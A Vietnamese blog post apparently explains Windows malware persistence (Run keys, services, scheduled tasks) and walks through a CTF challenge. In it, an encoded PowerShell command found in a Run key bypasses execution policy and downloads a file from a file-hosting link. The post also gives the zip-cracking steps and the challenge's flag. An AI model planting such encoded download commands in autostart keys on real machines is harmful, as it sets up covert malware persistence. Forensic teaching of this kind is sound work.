# Windows Forensics : Malware Persistence ## I.Tổng Quan : + Malware Persistence (kéo dài sự tồn tại của phần mềm độc hại) là khả năng của một loại malware (phần mềm độc hại) để duy trì hoạt động trên hệ thống mục tiêu sau khi đã xâm nhập thành công. Thay vì chỉ thực hiện một cuộc tấn công ngắn hạn, malware persistence tạo điều kiện cho phần mềm độc hại tiếp tục tồn tại và hoạt động trong thời gian dài trên hệ thống, thậm chí sau khi hệ thống đã được khởi động lại hoặc các biện pháp ngăn chặn tạm thời đã được triển khai. + Có nhiều phương pháp và kỹ thuật được sử dụng để đạt được Persistence của malware. Một số ví dụ bao gồm: 1. Registry keys: Malware tạo ra hoặc thay đổi các registry keys trong hệ thống để tự khởi động cùng với hệ điều hành hoặc các ứng dụng liên quan. 2. Windows Service : Phần mềm độc hại có thể tự cài đặt dưới dạng một dịch vụ trên hệ thống, đảm bảo nó chạy ẩn ngay cả sau khi khởi động lại. 3. Scheduled tasks: Malware sử dụng các nhiệm vụ được lập lịch trên hệ thống để chạy định kỳ và tiếp tục hoạt động. 4. Startup Folders: Malware có thể được sao chép vào thư mục Startup của người dùng, dẫn đến việc thực thi mỗi khi người dùng đăng nhập. 5. Service Installation: Một số kẻ tấn công có thể cài đặt dịch vụ Windows để chạy malware, đặc biệt là dịch vụ ẩn danh. 6. DLL Injection: Họ có thể chèn mã độc hại vào tiến trình hoặc thư viện DLL của hệ thống để thực thi malware mỗi khi ứng dụng liên quan được khởi động. 7. Auto-Start Extensibility Points: Kẻ tấn công cũng có thể tận dụng các điểm mở rộng tự động khởi động như Shell Extensions, Browser Helper Objects (BHOs), và các phần mở rộng khác của ứng dụng để thêm tính ổn định cho malware. 8. Bootkits: Bootkits là các loại malware thay thế hoặc thay đổi quá trình khởi động của hệ thống và thực thi mà không cần phải thêm bất kỳ đường dẫn cụ thể nào. Chúng thường làm cho malware trở nên khó phát hiện và loại bỏ. 9. Kernel Mode Malware: Malware chạy ở chế độ kernel có thể thay đổi cách hệ điều hành hoạt động và làm cho nó khó bị phát hiện và loại bỏ. + Còn khá nhiều kỹ thuật và phương pháp nhưng ở blog này mình chỉ phân tích 3 kỹ thuật của nó là `Registry keys`, `Windows Services`, `Scheduled Tasks`. ## II.Phân tích : ### Registry keys + Một trong những vị trí điển hình là trong Registry Keys, đây là một trong những nơi mã độc thường lợi dụng. Phổ biến nhất là các key Run và Runonce nằm trong NTUSER.DAT và Software hive : 1.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 2.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 3.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 4.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce 5.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices 6.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 7.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 8.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 9.DAT\Software\Microsoft\Windows\CurrentVersion\Run 10.DAT\Software\Microsoft\Windows\CurrentVersion\Runonce Đây là một ví dụ của đường dẫn : `Software\Microsoft\Windows\CurrentVersion\Run` ![](https://hackmd.io/_uploads/S1JAND1wh.png) Các items trong danh sách được liệt kê trong các registry key trên sẽ được khởi động khi người dùng đăng nhập vào máy, khác nhau là ở điểm các items trong NTUSER.DAT sẽ khác nhau đối với các user khác nhau, nó tùy thuộc vào từng user còn đối với Software hive thì bất kỳ user nào cũng sẽ chạy những items được liệt kê trong key Run\Runonece đó. ### Windows Services : + Một vị trí là nơi persistence “ưa thích” của mã độc, đó chính là Windows Services. Windows Services được thiết kế để chạy ứng dụng một cách tự động ở chế độ nền (background). ![](https://hackmd.io/_uploads/rJsMUPkvh.png) + Services được cấu hình tự động khởi chạy và nó có 4 chế độ: ![](https://hackmd.io/_uploads/Sk5wLwyD3.png) + Các services này cung cấp chức năng quan trọng cho hệ điều hành và được khởi động mà không cần tương tác của người dùng. Có rất nhiều services được chạy ngay khi khởi động hệ thống, bao gồm các dịch vụ DHCP Client, Windows Event Log, Server và Workstation. + Các services có thể được triển khai dưới dạng các tệp thực thi độc lập hoặc được tải dưới dạng các tệp DLL. Để tiết kiệm tài nguyên, nhiều services DLL được nhóm lại với nhau và chạy dưới một “tập hợp” chẳng hạn như svchost.exe. svchost.exe là tiến trình Windows-generic service host và khi sử dụng một trình xem process nào chẳng hạn như ProcessExplorer bạn sẽ có thể thấy nhiều hơn một svchost.exe đang chạy. ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/31cd2fc2-e261-4749-92f5-e02bc3648a6a) ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/fcf6b3e9-c91c-4592-a625-eca3ae6e77da) + Cấu hình dịch vụ cũng như cấu hình trình điều khiển thiết bị được lưu trữ trong Registry Key trong HKLM\SYSTEM\CurrentControlSet\Services, chẳng hạn như: ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/088ea70e-aa0f-4990-91cb-cd4cdc6c1591) + Service rất linh hoạt với nhà phát triển sản phầm nhưng nó cũng là trở thành nơi ưa thích mà kẻ lập trình mã độc lợi dụng để cho mã độc tự động khởi chạy. ### Scheduled Tasks + Schedule task là một là một trong những tính năng trên hệ điều hành Windows rất hữu ích với người dùng. Bạn có thể dễ dàng thiết lập chương trình để chúng tự động khởi động ở một thời điểm nhất định mà bạn đặt trước bằng Schedule tasks (trình lập lịch). Chẳng hạn như hình dưới đây : ![](https://hackmd.io/_uploads/S1R1qw1v3.png) + Giao diện task Schedule như bên trên có thể thấy tên của task, status, thời gian mà người dùng thiết lập để khởi chạy, lần chạy tới, lần chạy gần nhất, và “action” của task này, ví dụ task OneDrive Per-Machine Standalone Update Task như trên hình sẽ có action là chạy tập tin OneDriveStandaloneUpdater.exe : ![](https://hackmd.io/_uploads/HJKXiDJwn.png) + Như vậy, điều này hoàn toàn có thể mở ra những khả năng thú vị cho những kẻ tấn công. Các tác vụ được lên lịch thường được sử dụng để khởi chạy phần mềm độc hại. Chẳng hạn như một backdoor nào đó được thiết lập để tự động khởi chạy, gửi và nhận dữ liệu, lệnh từ máy chủ c&c nào đó. Hay một keyloger được cài đặt để tự động gửi những dữ liệu của nó thu thập được trên máy tính nạn nhân hàng ngày đến một nơi nào đó vậy! Chính vì vậy đây cũng là một nơi không thể bỏ qua khi rà soát mã độc trên máy tính. ## III.Ví Dụ : + Mình có làm 1 challenge về Malware Persistence và kỹ thuật mà author sử dụng ở đây là Registry keys. + Des : ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/91e7973f-ff08-4e26-9945-8bb34c8cc461) + Link Tải File: https://mega.nz/file/U18CjZBK#DLgLOufbGg5fWbk6wC7GyOyPPq7WgC0gVb4yVeiCe8w + Sol : _ Đề cung cấp cho chúng ta vài subkeys of HKEY_LOCAL_MACHINE hive. Dựa vào mô tả của đề bài thì mình chú ý đến từ khóa là "PERSIST" thì mình sợt gg về nó thì tìm 1 lúc mình để ý nó đề cập đến Malware Persistence, như mình đã phân tích về nó ở trên thì đề cung cấp các subkeys khá khớp với kỹ thuật Registry keys. _ Subkeys mà mình dùng phân tích ở đây là `Software`. _ Mình dùng tool `Registry Viewer` để phân tích nó. _ Dựa theo các đường dẫn phổ biến mà kẻ tấn công có thể đưa viruss vào máy thì mình tìm được 1 lệnh powershell khá nghi ngờ : `Software\Microsoft\Windows\CurrentVersion\Run` ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/32b1d1de-d984-45dd-be07-f66681a68888) ``` powershell exe -enc UABvAHcAZQByAFMAaABlAGwAbAAgACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAAIAAtAGMAbwBtAG0AYQBuAGQAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAgAGgAdAB0AHAAcwA6AC8ALwBtAGUAZwBhAC4AbgB6AC8AZgBpAGwAZQAvAHgAdQBNADIAVQBDADYAUgAjAEYAYQBrAG4AYgBmAFcAQwBRAEYAeABhAGsAawBPAHgAYgBHAFkAQQB2AEsARgBJAFUATwB2AEMAUQBUAGMAMgBRAGUAOAAwAFMAdwBWAHoAeABZAG8AIAAgAC0ATwB1AHQARgBpAGwAZQAgAGQAOgBcAG4AbwB0AGUAcABhAGQALgBkAGEAcABlAHQAbwBuAA== ``` _ Mình ném đoạn mã base64 lên cyberchef để giải mã thì nhận đc 1 [đường dẫn mega](https://mega.nz/file/xuM2UC6R#FaknbfWCQFxakkOxbGYAvKFIUOvCQTc2Qe80SwVzxYo). ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/aa144b1d-9ff3-4689-99df-e963e21548d8) _ Nó dẫn mình đến 1 file txt.txt nhưng đã bị mã hóa hex. => Mình tiếp tục ném nó lên cyberchef để giải mã thì mình nhận được 1 file zip. ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/f2f467e9-0433-40fb-99b3-e52de21f4903) _ Nhưng zip yêu cầu pass. Lúc đầu, mình cũng ko biết làm sao, do không có dữ kiện nào nữa thì mình mới mở nó bằng Hxd để xem thì phát hiện : ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/f185c4c6-01b4-428f-a120-7a0e29297598) => Mình ghép các chữ đó lại thì mình nhận được : `The secret furnace, named Infinity of Samsara But i think four is enough, like Samsara0123` _ Đây có lẽ là hint mà author muốn nói về pass của file zip và điều này có nghĩa là pass gồm `Samsara` và theo sau nó là bốn chữ số. _ Oke bây giờ mình sẽ tạo wordlist cho nó : ``` kma = ''' 0 1 2 3 4 5 6 7 8 9 '''.split('\n') file1 = open('wordlist.txt', 'w') for i in range(len(kma)): for j in range(len(kma)): for k in range(len(kma)): for l in range(len(kma)): file1.write('Samsara' + kma[i] + kma[j] + kma[k] + kma[l] + '\n') file1.close() ``` _ Sau đó mình dùng john để crack file zip với wordlist.txt vừa mới tạo đc. ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/998adeac-7502-4967-bf16-c1cd760bdec7) Pass : `Samsara6231` _ Mở file zip thì mình nhận được 2 file ảnh nhưng nó đã bị cắt nhiều phần khác nhau : ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/348e8908-5ff4-4078-9964-d9482649ee89) ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/ced775aa-4a8e-4cec-b720-7cdd7a317549) _ Tới đây các bạn có thể đọc chay từng chữ và ghép nó lại nhưng khá tốn thời gian =)))) nên cách tốt nhất là code để ghép nó lại. _ Mình viết kịch bản như sau : ``` from PIL import Image img1 = Image.open("ScaraBoard1.png") img2 = Image.open("ScaraBoard2.png") result = Image.new(img1.mode, img1.size) respix = result.load() for x in range(img1.size[0]): for y in range(img1.size[1]): r1, g1, b1 = img1.getpixel((x, y)) r2, g2, b2 = img2.getpixel((x, y)) if r1 == 0 and g1 == 0 and b1 == 0: # Kiểm tra xem màu đen trong img1 respix[x, y] = r2, g2, b2 # Sử dụng màu từ img2 else: respix[x, y] = r1, g1, b1 # Giữ nguyên màu từ img1 result.show() ``` _ Và mình nhận được flag : ![image](https://github.com/KMANVK/Persistance_of_malware/assets/94669750/e13e6697-dbbe-49ad-8cd9-fa12770e08e0) #flag : `Flag{B3h0lD_tH3_ev3rla$t1nG_L()rd}` ## Res : + https://github.com/Karneades/malware-persistence + https://tech-zealots.com/malware-analysis/malware-persistence-mechanisms/ + https://resources.infosecinstitute.com/topic/common-malware-persistence-mechanisms/